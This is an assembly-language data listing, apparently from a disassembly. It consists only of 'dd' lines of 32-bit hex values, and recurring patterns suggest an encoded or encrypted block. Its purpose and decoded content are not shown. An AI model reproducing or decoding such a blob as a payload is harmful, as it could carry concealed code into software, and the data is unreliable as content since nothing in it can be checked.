		dd 0A0EF104Eh, 13CA809Fh, 0CCE72252h, 0B9D87AF3h, 74378DB5h
		dd 22EF3361h, 0CC671F5Ch, 94970B69h, 7B5198DBh,	1D8FE869h
		dd 0F4664432h, 0BA548270h, 1A6787F1h, 7D07418Dh, 15666695h
		dd 0AD4226BBh, 15661132h, 0D4EF401Bh, 138E246Ah, 26662232h
		dd 7A80972Ah, 0F6DDEE6Dh, 108F1AC9h, 0C5662232h, 0BB9770E0h
		dd 0E7A00953h, 9457EB31h, 87152DF4h, 94A83856h,	871587DCh
		dd 0E788C556h, 0E0578D31h, 0A406B5C1h, 156D6113h, 3A094432h
		dd 0BE82D55Bh, 6BC6CF5Eh, 0C98FE958h, 7599BBCEh, 98079F84h
		dd 0A7CDD5AFh, 19E48734h, 1A664432h, 156624BCh,	15ED1E32h
		dd 0EA668832h, 959F24E1h, 7D07F1DFh, 1566229Bh,	9C429CBBh
		dd 4FB6CDC8h, 58E309CEh, 1A60BD1Ah, 15669DB9h, 1576AD32h
		dd 7A52232h, 4B8AB0DEh,	0A1753120h, 0A3F09A18h,	90EF1CD8h
		dd 13CA25C3h, 15668FDBh, 1EC5FA32h, 79ACEA81h, 3D2B94B9h
		dd 94938E9Eh, 156640DEh, 315AAB32h, 15E81E52h, 75668832h
		dd 1566C63Dh, 0F4E72232h, 637AE06Ch, 130EE953h,	9C664461h
		dd 73060636h, 2B99F3B3h, 2DEB0553h, 1A60F69Ch, 15662ABAh
		dd 94007132h, 0E06E5FF9h, 0FCB7BB53h, 1566223Ah, 762DAD65h
		dd 54936B5Bh, 1887C1B9h, 1A06249Eh, 9E00C68Dh, 9C33E9EAh
		dd 11A3C5D7h, 94662232h, 156615DFh, 314A0F32h, 3162CD6Eh
		dd 156AAA3Dh, 9A691132h, 15668834h, 1566CE3Dh, 9C362232h
		dd 156214D2h, 0FDE58832h, 3162C336h, 315AAB6Eh,	58E39ACBh
		dd 7560241Ah, 8CDC2260h, 78F7D9Bh, 0DC661132h, 9EC49930h
		dd 4A2381F3h, 736BDBCFh, 23A6AB84h, 140EE96Fh, 9C664457h
		dd 73060636h, 108FDFB9h, 1B668832h, 0DF15906Fh,	51EBAF53h
		dd 0FC60A39Dh, 15668837h, 321ABF31h, 75B7DD83h,	156614DBh
		dd 1458A932h, 4D376D7Ah, 118AA153h, 4F4215BBh, 0AA31D8CBh
		dd 71E66ACDh, 11425E03h, 0E4E7486Dh, 71E6A6CDh,	156642DBh
		dd 9FD72E32h, 3ED91286h, 0B96B69BFh, 0DDE72434h, 4D71DDBh
		dd 743FE864h, 7F35B1h, 1A66429Eh, 15668DB6h, 9E007132h
		dd 9E0771E8h, 0B97429B7h, 3E074234h, 0B97308B7h, 0AA69E834h
		dd 1574ADFCh, 0E3F32232h, 0A5EB1924h, 0D5208B1Fh, 0DE8593F0h
		dd 0DA4EFE9Bh, 1AA72A53h, 1566FFB4h, 90EDBC32h,	13CA1777h
		dd 15661DDBh, 6DF84532h, 0FAAFD41Ch, 0B519955Bh, 19E71E7Bh
		dd 0FC668832h, 15664435h, 0D6682CC1h, 16FC9E95h, 0B97391B7h
		dd 90EFB834h, 13CA3B8Fh, 156E983Dh, 94068832h, 755B4EEBh
		dd 0D98F4321h, 75661133h, 15669CDAh, 4496D432h,	0E84504BBh
		dd 2611C427h, 0B0C0AD14h, 0A52A1D5Ah, 156FCB00h, 67531132h
		dd 0EBD934Bh, 4C7EC43Fh, 74949D3Dh, 10869862h, 15668836h
		dd 9262ACB1h, 9C3A0636h, 9069353Eh, 15668824h, 156655DBh
		dd 2B0B4832h, 82124787h, 0E65BCA1Eh, 3D4C1221h,	3C0E94AFh
		dd 9C661165h, 11E7AC3Eh, 0A609E16h, 0CF4B7A43h,	75170E34h
		dd 157E033Dh, 68F4432h,	26662232h, 8CD77C1Dh, 612FFEDEh
		dd 0B1B07092h, 136AA2B3h, 0FC37280Eh, 15668834h, 0F5A8A37Fh
		dd 743E1F04h, 13EF1E52h, 1A668832h, 156644B4h, 0AB304332h
		dd 0EA99EECDh, 75387833h, 1565C13Dh, 0A2692232h, 0DCE777FAh
		dd 7D07D0CBh, 15660C7Ah, 0AC422EBBh, 7A19499Eh,	0FCA7C973h
		dd 0B2A7C53Ah, 1C99B2A2h, 108F48FAh, 12668832h,	0B2836382h
		dd 0EA999C64h, 0E54FEECDh, 90EF706Ch, 13CA565Fh, 156629DBh
		dd 17849032h, 0BDE7744Eh, 9115EA3Eh, 1E3FA733h,	0D29A179Eh
		dd 0B97391B7h, 15664434h, 0A2694232h, 749A9BEBh, 68FC858h
		dd 0B4664432h, 1B91E1ECh, 0B4DF6118h, 0DC44A4C5h, 955917Bh
		dd 150E1AF2h, 1A661122h, 156689B8h, 0D60EB832h,	9C662263h
		dd 9769353Eh, 15668838h, 15E94B52h, 75662232h, 1E8F7053h
		dd 4E668832h, 9FBFC825h, 0EE85E51Eh, 150C192Eh,	9400DA52h
		dd 4A6D7CD8h, 749CA954h, 9D784CDh, 96698E9Eh, 1566443Ah
		dd 1564AF3Dh, 74061132h, 0CCF1DCDh, 9969429Eh, 15662237h
		dd 7406E852h, 50E30153h, 7560E807h, 7494A954h, 0CDB94BBh
		dd 9E9A8E9Eh, 9C34603Eh, 11A4A3D0h, 94661132h, 15668CF0h
		dd 3172C332h, 0EA9FDE6Eh, 0B97FAC87h, 15616134h, 1A4A4432h
		dd 6FEA802Ah, 0A099E8F5h, 13CA85D3h, 156EC93Dh,	1A062232h
		dd 156611BFh, 0B10EE932h
		dd 9C664434h, 0EA93060Eh, 0B94E5C87h, 198FE834h, 59664432h
		dd 0C9ECCB44h, 5A9B7CF1h, 0ECCE17E9h, 0ABE3C953h, 756090F5h
		dd 156601DAh, 0C2DE6432h, 521E790Bh, 0F4F9C843h, 0ED6F3CB4h
		dd 0DDE7EE97h, 753C4005h, 15662FDBh, 783B2032h,	0AD3226D5h
		dd 0BCDAADDh, 74068C4Ah, 0C5997053h, 0CEB89CEh,	7560E827h
		dd 0F0C79D54h, 1565923Dh, 0AA698832h, 0A8ED25FAh, 13CA3B8Fh
		dd 9400E952h, 74B490DCh, 1887F1B9h, 1A06249Eh, 15661DB8h
		dd 15606032h, 0CEB34432h, 34BEA8FFh, 0E607ED69h, 0A0ED7D96h
		dd 13CA5A8Fh, 156630DBh, 4EA44D32h, 26FE0CE1h, 61C6F0E3h
		dd 0BC2219FBh, 0B87EAC55h, 0AB30DBCAh, 4B6E3F02h, 9420F4C5h
		dd 347160DCh, 4B950110h, 4A9A02F5h, 2419F45Fh, 0FC3DED6Ch
		dd 1566883Ch, 8CD61D06h, 0E3358E2Fh, 8B5B7E86h,	0D5A7F3DAh
		dd 14E44B37h, 0ED662232h, 60E6AC67h, 0E0E7B6BBh, 5DB31483h
		dd 50F5E7B3h, 0D0E7242Dh, 1949AE1Ah, 7D2EA9B3h,	0D0E71FF1h
		dd 11C134Ah, 71F07DB3h,	0FD679105h, 94420EB9h, 156615F6h
		dd 90657D32h, 13CA5AF7h, 156632DBh, 70E66132h, 639FBC4Bh
		dd 0B91DCD0Eh, 0F81E11C3h, 0A8EB9AF7h, 0FC60242Bh, 1566443Bh
		dd 2D92A26Bh, 0CB09AEEFh, 9C34DD33h, 4FB3CDF8h,	0FC3B0ABBh
		dd 15661134h, 94AF62E1h, 0FCCB73C1h, 15662237h,	9EDA0679h
		dd 7482E0F9h, 29EF4432h, 38F9D16h, 94290BB0h, 423F20DDh
		dd 94210B6Eh, 3FDB62DDh, 0E918988Ch, 0DDD6E86Dh, 96B0118Ah
		dd 0A0EF434Bh, 13CA0F8Fh, 0D4E7DF52h, 37EB916Dh, 6DD8426Bh
		dd 0A0477C8Dh, 9607E926h, 9069BBCAh, 15662289h,	15679A3Dh
		dd 949F8832h, 0C8BB990Ch, 0BDE32DEFh, 75661132h, 156686DBh
		dd 0A2C7BD32h, 3583F475h, 0BA32221Fh, 75773307h, 7493BAB9h
		dd 0A20E7153h, 4E29AF77h, 0A38D0979h, 4729FA77h, 3EFF8BBh
		dd 18F4A68h, 0FD668832h, 0CF0BCA40h, 0FE8BCC6Bh, 135EA64Eh
		dd 381D30E2h, 75F3EEDEh, 156ECA52h, 57061132h, 6C94445Bh
		dd 1A3F4DA9h, 4607D58Dh, 6184AB54h, 0AC37E96Ah,	15664436h
		dd 19EDEC33h, 11A29216h, 0A0EF74C7h, 13CA5A8Fh,	156AAB3Dh
		dd 0AB061132h, 6D424E75h, 0D8ACC554h, 958F4364h, 1A99EEE6h
		dd 15669AB4h, 1C8F2432h, 0B662232h, 7354F0A1h, 68A3E11Fh
		dd 0D4071A61h, 169321F2h, 0B978D4B7h, 749FE834h, 6BF9B1h
		dd 1A67249Eh, 1565CBB6h, 15746132h, 75504432h, 0FD16B14Dh
		dd 0B891697Fh, 0F1E24790h, 0BF4F1414h, 0BFCC1CB3h, 9069BB98h
		dd 15668899h, 156650DBh, 0F1364932h, 0F58D4010h, 0DB9DAD9Fh
		dd 3E249E9Eh, 1A0AC87Eh, 11DE416Ah, 14668832h, 3162CFF4h
		dd 1A62E6B1h, 156610B2h, 7D367032h, 0EA99BBCEh,	0D296236Ah
		dd 15661132h, 1A06D032h, 156647BEh, 0D6ED4432h,	4EC8A462h
		dd 4228E053h, 11EF4432h, 4A3E7516h, 1572953Dh, 1A8F8832h
		dd 6E664432h, 1DBAAB45h, 68C6A231h, 0ECDF5080h,	0A235C7B3h
		dd 9E81A287h, 0E345A162h, 118648EAh, 0F5A69CC4h, 11BED431h
		dd 4DA13963h, 9D3F7FB2h, 99691FCAh, 15662235h, 1567973Dh
		dd 0FC938832h, 15664409h, 1567A43Dh, 249A1132h,	24A1B9CAh
		dd 0AA6924CAh, 0A33443FBh, 58D142D0h, 0E2E65FC4h, 4E9ECC8Ah
		dd 0FC3CD202h, 15661121h, 0D2D5B088h, 75CEF102h, 0FF059483h
		dd 9B44EA8Bh, 7D47DC6Fh, 15666F42h, 754226BBh, 15661ADBh
		dd 9F861A32h, 2FCB5B2Fh, 8441BE95h, 204EAE8Ch, 0A8E5E920h
		dd 13CA5D17h, 61E22D33h, 75661133h, 0F3A10954h,	1568AD20h
		dd 2602232h, 960EBEA3h,	0D6472732h, 0D18DD1D2h,	22D87453h
		dd 4346B03Dh, 9E0B318Ch, 89A0C523h, 94590A18h, 0B4F4DC4h
		dd 94B07F79h, 884226D4h, 4090A35Fh, 9C22A038h, 0E557D6C2h
		dd 9400246Ch, 7526DED3h, 156618DAh, 59806D32h, 86C7B9E5h
		dd 743CBC80h, 0A8E5E453h, 13D5073Bh, 0AE24B32h,	0E0662232h
		dd 0C9B18CBFh, 128F8E80h, 94664432h, 0DF431054h, 0C699F0F5h
		dd 15668DDBh, 0B0E19932h, 2AE60B0Dh, 69E21EA2h,	0FC668832h
		dd 15664439h, 0D685ADD4h, 4E83C218h, 46FCD5BEh,	15664189h
		dd 9EB92332h, 0D1E7352Eh, 15668836h, 156650DBh,	0AFCA8C32h
		dd 952E83CCh, 133AD9FFh, 0D441883Eh, 26D37F7Bh,	4E51ECEh
		dd 0FC668832h, 1566443Eh, 0F54C7C86h, 0B5EC34C0h, 0F52AA158h
		dd 156786DBh, 0CE32D32h, 0FC661132h, 15668826h,	1B5FF2E5h
		dd 0E6A9C586h, 10860297h, 62A609D6h, 85F3EB06h,	1567AA3Dh
		dd 969A1132h, 9769D8CAh, 15664469h, 22D571CBh, 0E365FAF2h
		dd 0EBB57EE9h, 95BDB2F1h, 0CDEE48C1h, 73067169h, 67FB58B3h
		dd 156641DAh, 92010132h, 7439F6DDh, 15668DDBh, 0AFD62032h
		dd 0BF07AC08h, 3152EECAh, 11A2096Ah, 1A664432h,	15662AB7h
		dd 17E31E32h, 75668832h, 0FC9AEE53h, 156622EDh,	1567973Dh
		dd 0EA9E8832h, 963E6006h, 1F8F26F6h, 0AC661132h, 89BC666Eh
		dd 0FC0FFDDAh, 959E8879h, 1A8FEE4Dh, 15663EB7h,	1568AD32h
		dd 6CD62232h, 0D474E7FBh, 4031CABCh, 0B8B233D2h, 9A6F9FB1h
		dd 1A661781h, 1566E2B6h, 1A8F2432h, 0A7662232h,	66467A5Dh
		dd 14C4264h, 4FDA7C5Fh,	0AF0098B1h, 9807CB1Ch, 0A7BDB5AFh
		dd 0FD062434h, 1566223Dh, 64ED638Dh, 2A94EA54h,	2DC122EEh
		dd 4BF53AA4h, 156605DBh, 444FD132h, 0C3D55D12h,	0E5D0CEEBh
		dd 27664135h, 0B86EE7Dh, 0D1E625B5h, 0C69943C8h, 15661FDBh
		dd 168F1932h, 3AB89190h, 0D7796E9Ch, 44D9ACFEh,	15623062h
		dd 0D4EF4432h, 9D9F236Ah, 0FC064833h, 1566883Ch, 0FC44C8B8h
		dd 7CAE4A8Ch, 444276D8h, 9769B267h, 15664430h, 9E074352h
		dd 0B97FACB7h, 14E98734h, 0EC664432h, 8A369C1Fh, 0FE83C2Bh
		dd 0ED4FB806h, 217CCA37h, 45D82702h, 1A0608ADh,	15668CB4h
		dd 43DC2232h, 1563CB50h, 0A9A61132h, 74764E30h,	0D2D91364h
		dd 94151553h, 2207D2C5h, 4A980141h, 0EC38B41Bh,	156BCB99h
		dd 73391132h, 7F6D4482h, 0DDE619D0h, 0B8414C83h, 7409A652h
		dd 0C4DED863h, 9C096453h, 0FCA77AF3h, 61979030h, 9C7D402Ah
		dd 1A3FB87Ch, 156629B4h, 1560F832h, 17F58832h, 2C88A931h
		dd 0EA9CDFDBh, 0A0EFE4CDh, 13CA968Fh, 4B9F1352h, 0EA5F3B3h
		dd 7D075B7Eh, 15668CCBh, 754250BBh, 48FC683h, 75661132h
		dd 8DE142D7h, 0BE040DEEh, 0F638FD40h, 3F94DE32h, 150E7053h
		dd 0EC6644B2h, 0EC9A2258h, 1DB3A4CDh, 0EA9E8E9Eh, 0B966B1A7h
		dd 1EDD734h, 0F4EF4016h, 156249B3h, 0D4E74432h,	15662236h
		dd 49421DB5h, 48EB03CEh, 1A60E81Ch, 15662DB5h, 156CF832h
		dd 0EC148832h, 784FA966h, 5FC35A09h, 0AFD94660h, 9457A12Dh
		dd 0F16B0CC5h, 0FAE76542h, 58579A6h, 946E67F3h,	0B674F4FDh
		dd 0AF89A32Eh, 9C7AA2C9h, 4EFD7C8h, 0E3DC2468h,	7402D5D2h
		dd 15627967h, 143B8832h, 940619DBh, 0A201C8E0h,	11E11E61h
		dd 73668832h, 74037389h, 3B3BAFBBh, 9269179Eh, 15668833h
		dd 0D2D6ADCEh, 0FC06DDCDh, 15661121h, 0A02C51FEh, 0B7A40988h
		dd 0B89A6A6Ch, 3B15693Bh, 0FCA97BABh, 15664437h, 8F576D81h
		dd 0F18F704Ch, 75668819h, 9FACCF52h, 940043CBh,	746451D3h
		dd 0AA69E852h, 0FEE722EDh, 1A07D687h, 156619BDh, 17EC8732h
		dd 75664432h, 48EBA953h, 7560BD1Ch, 822C3054h, 156657DBh
		dd 203BEB32h, 0DCCBADD3h, 37398C10h, 0A644BAF8h, 0DABA1403h
		dd 9E57EE53h, 0D1E7AC3Eh
		dd 15664436h, 15662CDBh, 27675932h, 2A989974h, 0E35E437Ah
		dd 9C18D501h, 0A6E914BFh, 4E58734h, 0FC664432h,	1566223Eh
		dd 0FEB3604Ah, 27C378B6h, 50168250h, 1577CB52h,	7A721132h
		dd 56BDEBAFh, 0E219201Fh, 9D012C98h, 73B2FD45h,	94077FB9h
		dd 51320A0Ah, 96E32D7Eh, 75661132h, 6DE7EE53h, 1A480836h
		dd 156657B7h, 19E91E32h, 1A668832h, 156642BEh, 15E92D32h
		dd 96661132h, 11EF8CDEh, 314AC516h, 4515163Eh, 19A0906Ch
		dd 0FC36FB06h, 15664437h, 2F7C5833h, 13DD42DCh,	94668832h
		dd 85110BDCh, 94B82362h, 85115EF4h, 9969D362h, 15664438h
		dd 1A397452h, 156611BAh, 90EDE932h, 13CA56EBh, 1071CBCBh
		dd 1A8F1132h, 0EA668832h, 0C452D508h, 94818405h, 6ECB9753h
		dd 700E29F2h, 9C664406h, 1A380636h, 15661FBEh, 9369E832h
		dd 15664432h, 1566A13Dh, 42071132h, 31520962h, 5BC6CD2h
		dd 0F591A36Dh, 9C76CB1Ah, 9669D7C8h, 1566443Ah,	1564A43Dh
		dd 74061132h, 9E694103h, 15664425h, 1576CB52h, 3F801132h
		dd 0FBAB7F2Ah, 2B4C50EBh, 1C8D2A66h, 0B907F6CCh, 15746152h
		dd 0E3AA4432h, 18E9920Dh, 4D97B29Eh, 6618D34Dh,	1E3B2B66h
		dd 29075D86h, 0B2E21E32h, 0ED668833h, 9169690Eh, 0EA99DDE1h
		dd 0DDED7752h, 15669BDBh, 34CC8432h, 1B527AC2h,	6DED0A3Bh
		dd 7D3ABBA7h, 0C7990694h, 1A481E53h, 1566F6B6h,	0DEDEE832h
		dd 0AF39D01Ah, 6C89B224h, 1A562D53h, 15623DB0h,	19EE4B32h
		dd 1A662232h, 156617B8h, 15EE8732h, 29664432h, 95E02D0Bh
		dd 7599EECDh, 74B90354h, 9769050Eh, 156626BCh, 188E71CAh
		dd 0FB668832h, 46373E7Ch, 7F6384B7h, 92B0782Eh,	0FD3946B9h
		dd 15664434h, 0B6AA4AE0h, 740615E3h, 4F5AE96Ah,	0EA23C23Dh
		dd 9D69DDCDh, 1566113Eh, 15668FDBh, 0FAE96632h,	9BA5456Dh
		dd 1A392DCEh, 0EA99A2B6h, 739E24CDh, 7462278Ch,	15661ADBh
		dd 0B76FDF32h, 0F980C1A1h, 4F28AC27h, 9769700Eh, 15668C14h
		dd 156EC43Dh, 98692232h, 15661130h, 48FE952h, 95664432h
		dd 0DC1B03D3h, 536A51E0h, 0EDD08CE9h, 0CD58827Ah, 9369580Eh
		dd 0EA99EFEDh, 0D2D98752h, 0FA8F25C7h, 0FC662231h, 1566113Ah
		dd 9A5F6185h, 0D2506ECEh, 0EA999A62h, 0D74FEECDh, 198F716Ah
		dd 85664432h, 7DDBD53Ah, 988095F3h, 2C83177Ch, 0AAE24BC0h
		dd 0FC662231h, 15661126h, 5FD2FB6Ch, 0F2F8E6B0h, 0F75FB03Bh
		dd 0E05DD938h, 0FC320D1Bh, 1A89FA64h, 0F3E76D2Eh, 329276DFh
		dd 0E26066F3h, 34A0C5E4h, 3C663E62h, 0A0064FC0h, 13EA87F9h
		dd 1A664432h, 156622B7h, 0EA377032h, 19EDAC36h,	11A2C516h
		dd 75662232h, 156614DBh, 0B0073632h, 0CFED495Bh, 0EB27CB53h
		dd 9F69EECDh, 15668834h, 9E072452h, 0DCE343E2h,	162E953Dh
		dd 1D8F8832h, 78664432h, 6801CBAFh, 98ABC74Dh, 0B9404D87h
		dd 156FAD34h, 0B00C2232h, 824C0E16h, 9491AFA0h,	156640DEh
		dd 3172AB32h, 14EF1E6Bh, 0E0668832h, 1534F95Ah,	3172AB32h
		dd 4400E96Dh, 9D35A687h, 4E9ECCDDh, 1E8F7B54h, 6D661132h
		dd 331C8D04h, 669892Ch,	60C83C80h, 0FC06E4CFh, 15668839h
		dd 605734A0h, 0AB71EF24h, 0FDB370BCh, 15668823h, 48D067C3h
		dd 18C3EF3Eh, 0C760DB68h, 10E6D8B5h, 15E64B76h,	4A662232h
		dd 1568F853h, 3978832h,	15DCB293h, 9760D84Eh, 88F34B34h
		dd 3FCB49B3h, 0EC4F6C6Ah, 76349F67h, 942B744Fh,	302F74C7h
		dd 488F6D7Fh, 15662ADBh, 6183B332h, 0F5C664Eh, 96B7B348h
		dd 128FDDDBh, 0B2661132h, 0F89F95E6h, 0FAE7FD8Eh, 0C672FB4h
		dd 3801D6B3h, 0DA4F8B31h, 3801ABB3h, 0D2E72131h, 0C671CB4h
		dd 15668EDBh, 2D823232h, 24F68F9Fh, 249820C5h, 0B19571C5h
		dd 15D715CAh, 9DAAAA62h, 4C3EEE55h, 0D0F305CAh,	1A60E814h
		dd 156623B6h, 9E9EE932h, 0B97C2DB7h, 14E74B34h,	0ED662232h
		dd 9069D1B7h, 15668850h, 156641DBh, 9960732h, 90A073DDh
		dd 13CABB0Bh, 14EE4B75h, 0E0662232h, 8FC1C35Ah,	5EE87E6h
		dd 1A664432h, 156628B6h, 1563F832h, 0C2A18832h,	0EA948E3Ch
		dd 0B9472F87h, 0D8D57134h, 156684DAh, 49C68832h, 0BD16F1F5h
		dd 0CBF8EA67h, 9807D090h, 0BA0F6DB7h, 0AA694234h, 9FC2ABC8h
		dd 0EA07BD34h, 9C34BDE2h, 11A4A3D0h, 96661132h,	1E18CD8h
		dd 1EF1816h, 1561CB16h,	0DA941132h, 86082DE6h, 75B6BB03h
		dd 94F99854h, 0D5E370CBh, 14690D3Dh, 9E9F4432h,	0B941C7B7h
		dd 1576F834h, 3ABF8832h, 73586881h, 63D2ADD3h, 0FB9573B3h
		dd 0D5E32055h, 15DAC13Dh, 91692232h, 15661135h,	0CAEDEE52h
		dd 0D3071A61h, 0B9551BB7h, 75065D34h, 1566093Dh, 0DFE74432h
		dd 1CEC4588h, 156BF853h, 6E198832h, 0E1FAE2B8h,	0F752AE16h
		dd 74275F85h, 0E6D18752h, 1564C73Dh, 74062232h,	98F7953h
		dd 0FC0651E8h, 15664434h, 8B496CEFh, 1F8EB118h,	26668832h
		dd 0BD5A438Eh, 1E69BD3h, 15E11EF1h, 4D668832h, 18D3BB53h
		dd 0E9608E13h, 3CE39CCBh, 0FC60275Bh, 15664437h, 0AB5FA407h
		dd 0FCB6EE8Ah, 1566883Eh, 349B1388h, 485C21F3h,	0EDC9705Ah
		dd 1546023Dh, 1A064432h, 156622B2h, 1575F832h, 0FD9F8832h
		dd 0DFB22A3Eh, 0D8F169C2h, 0DAA527BCh, 706691CDh, 2A0E25CBh
		dd 9C662272h, 0EA9A3526h, 0D5E374E2h, 157DC13Dh, 0EC062232h
		dd 15661CDBh, 0B3B4B732h, 6C4586E6h, 77A3EEB8h,	0FC07EF3Dh
		dd 15668844h, 10E3CDCAh, 1A6091BDh, 15661BBAh, 15636132h
		dd 0FBFB4432h, 7D8C30DBh, 15662439h, 0E0428CBBh, 9481CD65h
		dd 156626F5h, 11899232h, 4942B4B5h, 1A4270BBh, 156623B2h
		dd 90EBE832h, 13C9EAF5h, 1567CF3Dh, 0EA9F2232h,	0D56DE9E2h
		dd 15680D3Dh, 96694432h, 15662233h, 28FE8CBh, 0ED668832h
		dd 94200BBh, 1567A23Dh,	75931132h, 0D42F57B3h, 0C5E6770Eh
		dd 1A074315h, 156605B2h, 15696132h, 0A9C04432h,	0A32413Ah
		dd 43679568h, 6A4015EAh, 0BEC4B2Bh, 75662232h, 18E4A63h
		dd 0DA668832h, 0E865D609h, 87F32307h, 0A84F8C1Fh, 0FA1BDF08h
		dd 4D7A98EFh, 1A06E153h, 156617B7h, 5EB00932h, 74414B85h
		dd 156AA83Dh, 97691132h, 15668834h, 1566CB3Dh, 1A062232h
		dd 15661DB6h, 13E48732h, 1A664432h, 156622BAh, 10EB9A32h
		dd 1A603BBDh, 156645B6h, 0BD0EDE32h, 9C661109h,	1D8FAC36h
		dd 0F6664432h, 0AA336625h, 7D463965h, 1566FC95h, 4D4248BBh
		dd 4337DAC7h, 376D978Ch, 12884905h, 5339B2B3h, 94284DF2h
		dd 0BB641ADCh, 4B97015Dh, 14658533h, 469ADE6Bh,	15669989h
		dd 0C2A50932h, 143CEE6Dh, 0C28DA3F1h, 9E3CBB6Dh, 0FC06D321h
		dd 15664438h, 9B187DDh,	0EE19A976h, 0AEDDF48Ah,	74647807h
		dd 65BB7BBh, 9269179Eh,	15668833h, 33D82CC7h, 39EF2232h
		dd 159EAC16h, 0FD678832h, 1563AD6Fh, 122D2232h,	4447A037h
		dd 1566848Bh, 0D9A7C532h, 1449F11Eh, 0D98F90F3h, 9E495B1Eh
		dd 93691D23h, 1566222Ch, 157E993Dh, 68F8832h, 0E9664432h
		dd 2EEEA9B9h, 65D85087h, 376A545Fh, 6200A85Bh, 80EFB8B8h
		dd 13CA206Bh, 315277CEh, 11A2C56Ah, 1A662232h, 156612B7h
		dd 749FE832h, 156657DBh, 0DF414D32h, 14A3D473h,	0FBC0B4B7h
		dd 8676850Eh, 55128BC1h, 314265CDh, 96428CB9h, 730640F6h
		dd 38DDE9B3h, 0D241FFB3h, 3807C0BBh, 40AE5E25h,	7C5FE31Fh
		dd 10AE3831h, 160FB1F3h
		dd 0DD7C5337h, 1561CB67h, 66031132h, 166F0EB7h,	4CE37FB0h
		dd 1A608E03h, 156659B0h, 15766132h, 43FF4432h, 9A0E492h
		dd 3E10DFD7h, 75BD6AC2h, 905D8598h, 13CA310Fh, 1541923Dh
		dd 1A068832h, 156646B8h, 73B1A832h, 746FA489h, 98697153h
		dd 15664433h, 1562E0CAh, 15619C3Dh, 92698832h, 15664433h
		dd 0E90643C7h, 15661DDBh, 6F7F6132h, 5B201DF0h,	0CDE1A850h
		dd 11A17046h, 0D52BDB16h, 3162C56Ch, 10573CB6h,	94423DE3h
		dd 757DAC16h, 9912424h,	3152A316h, 0CB49AFF3h, 944294C5h
		dd 7A96016h, 19E75920h,	5A621816h, 3142090Bh, 2CF45188h
		dd 6D4226B3h, 75A0FCD9h, 15669ADBh, 82DB7032h, 0F7F333CDh
		dd 94AA977Ch, 0C5B31C2Ah, 0FC730423h, 15662239h, 0C219957Ah
		dd 0A168B184h, 74958BD5h, 114266F5h, 26575C3Ah,	1142E4F3h
		dd 310AC530h, 0D8213436h, 0ACDC433Ch, 343E8F22h, 4F6E6066h
		dd 114256B3h, 4D61111Ah, 0EDD9DFCBh, 0D46CA162h, 0D2E72ADDh
		dd 7E0050D9h, 7A526FB3h, 0E2E7151Ah, 39122900h,	2D96E6B3h
		dd 0E2DEE38Bh, 3C60A926h, 73067DCAh, 8423F3B3h,	15669ADBh
		dd 1294DE32h, 0E1BD7470h, 79145727h, 4350D305h,	74C15105h
		dd 5B55AFBFh, 78F179Eh,	50668832h, 0A5514F85h, 0E1ABD7C5h
		dd 95B71665h, 79191B0Eh, 0ED87BB60h, 1D8E4252h,	0F9661132h
		dd 9A2209B2h, 4A78EA63h, 4607ECB9h, 15661189h, 9F958932h
		dd 317ACF31h, 1A62E6B1h, 156610BBh, 0FC5A7132h,	141AC03Dh
		dd 0FC9F2232h, 15661123h, 0F43AF2E9h, 0C6D7E317h, 8BCF2F08h
		dd 0E9F2000Eh, 1A8EB4CBh, 156738B6h, 92DC4232h,	0AD0009AFh
		dd 3141352Ah, 1A697853h, 156677B6h, 299FED32h, 0BEE287FFh
		dd 0EC664433h, 9169C90Eh, 156610CBh, 156686DBh,	0FFCD132h
		dd 0F26E02E8h, 49381FF1h, 74EA6E97h, 156649DBh,	0CADB0E32h
		dd 6C8E4D81h, 0AFF10AE3h, 0FCA50D05h, 1566223Dh, 9B92EF76h
		dd 0EFDA500Dh, 0EEA7ED74h, 1A871058h, 156610B1h, 0AF347D32h
		dd 15664433h, 0FECD033h, 944205B9h, 15668CF6h, 66DD2432h
		dd 0FC7D6027h, 15661122h, 1B6784E3h, 2C493B7Eh,	1D4EAD17h
		dd 81AA9A4Dh, 0DED0DA53h, 0E388AAB2h, 4690A2ECh, 95A6FFB2h
		dd 0D3E6DEC4h, 9588C4B8h, 1A3CD112h, 156601B4h,	1FEB8732h
		dd 0FC664432h, 15662237h, 74B7C7A9h, 15616184h,	0BB24432h
		dd 30DA3BE1h, 959D9166h, 0EA3B0D3Dh, 969EBBCDh,	21EF26DEh
		dd 95064A16h, 9400AFFAh, 74C559FAh, 15609D65h, 0D6E71132h
		dd 1BC89178h, 0FEE7BF33h, 1BC83B78h, 9469716Dh,	15668831h
		dd 74BCFB3Dh, 15649860h, 0E7671132h, 15663163h,	0C4674432h
		dd 4F3F3B31h, 156E963Dh, 90698832h, 15664430h, 988F4352h
		dd 1A661132h, 156689B4h, 9B69B832h, 15662228h, 0FC077152h
		dd 15668823h, 0BC85B94Bh, 0DF69ACB6h, 587D0A8Bh, 0CB7CEE2Bh
		dd 0AD362574h, 15662233h, 0AF34E133h, 15668832h, 0FED8633h
		dd 96937A68h, 9169EAC9h, 15668884h, 118AC5CBh, 9C662232h
		dd 21E73506h, 76502116h, 0E6E71F45h, 6205149Bh,	1EE579CEh
		dd 1EF8832h, 1567FE16h,	0E7672232h, 0E93C0B31h,	1543F25Ah
		dd 316ACD32h, 1566278Bh, 4CAD1032h, 15668EDBh, 0D589AE32h
		dd 0EC191827h, 0EA9863DBh, 0A36974CDh, 198F456Ch, 0F4662232h
		dd 5AD1A84Ch, 5E32E727h, 1AEDBE69h, 156628BAh, 1563F832h
		dd 0FA7A8832h, 9615A550h, 91690CD9h, 0EA99EF71h, 14EF87CEh
		dd 0E9664432h, 15660FDBh, 14E91E32h, 0E9668832h, 156654DBh
		dd 299A8B32h, 0F96FFDh,	0F8D387CDh, 0B41167F2h,	1418A2B7h
		dd 5E31ECCh, 759977CCh,	9E00BDB9h, 7F8F43E3h, 7599EECEh
		dd 74950354h, 9484CD60h, 156626F0h, 118C9032h, 92668832h
		dd 9C3A6026h, 9D690606h, 15661133h, 580E0CEh, 19EF4432h
		dd 30EB2D16h, 75661132h, 156699DBh, 0AB7C8232h,	6139E429h
		dd 378C73DCh, 97BCE455h, 1D8F60A0h, 26662232h, 0C2257490h
		dd 748A6CA8h, 155F265Ah, 317AAB32h, 1564953Dh, 74068832h
		dd 9483CD67h, 156626F7h, 118B9032h, 92668832h, 9C3A601Eh
		dd 2493060Eh, 9E31EF2h,	1A668832h, 156652BAh, 1577CB32h
		dd 7E201132h, 6207A8FBh, 0EF68032Dh, 61A354F2h,	0B9E673AEh
		dd 9C69E8C7h, 15664434h, 1566A03Dh, 44071132h, 9DA50061h
